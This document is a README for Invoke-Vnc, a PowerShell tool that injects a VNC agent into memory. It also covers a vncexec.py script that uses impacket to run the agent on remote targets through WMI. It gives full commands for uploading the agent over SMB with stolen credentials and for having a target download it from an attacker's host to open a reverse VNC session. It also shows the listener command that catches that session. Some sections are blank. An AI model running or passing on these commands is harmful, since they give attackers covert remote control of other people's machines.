Invoke-Vnc: Powershell VNC injector

Invoke-Vnc executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port. Password authentication is supported.

Execute agent remotely via WMI

If you have authenticated access (password, nt hash or kerberos ticket) to the machine, you can use the vncexec.py script to execute the VNC agent.

Upload an encoded ps1 script as a bat file via SMB and execute the agent to bind a VNC port on target:

vncexec.py -invoke-vnc-path Invoke-Vnc.ps1 -contype bind -vncport 5900 -vncpass P@ssw0rd -method upload user:pass@target_ip

Download the script via HTTP from the attacker’s host and execute the agent to get a reverse VNC connection:

vncexec.py -bc-ip <attacker's_host> -httpport 8080 -invoke-vnc-path Invoke-Vnc.ps1 -contype reverse -vncport 5500 -vncpass P@ssw0rd -method download user:pass@target_ip

Script depends on a recent build of impacket library. Get it at https://github.com/CoreSecurity/impacket

git clone https://github.com/CoreSecurity/impacket

cd impacket
sudo python setup.py install

Usage example

Invoke locally:

 

Invoke over net:

Launch VNC listener to catch reverse VNC connection:

vncviewer –listen <port>

Download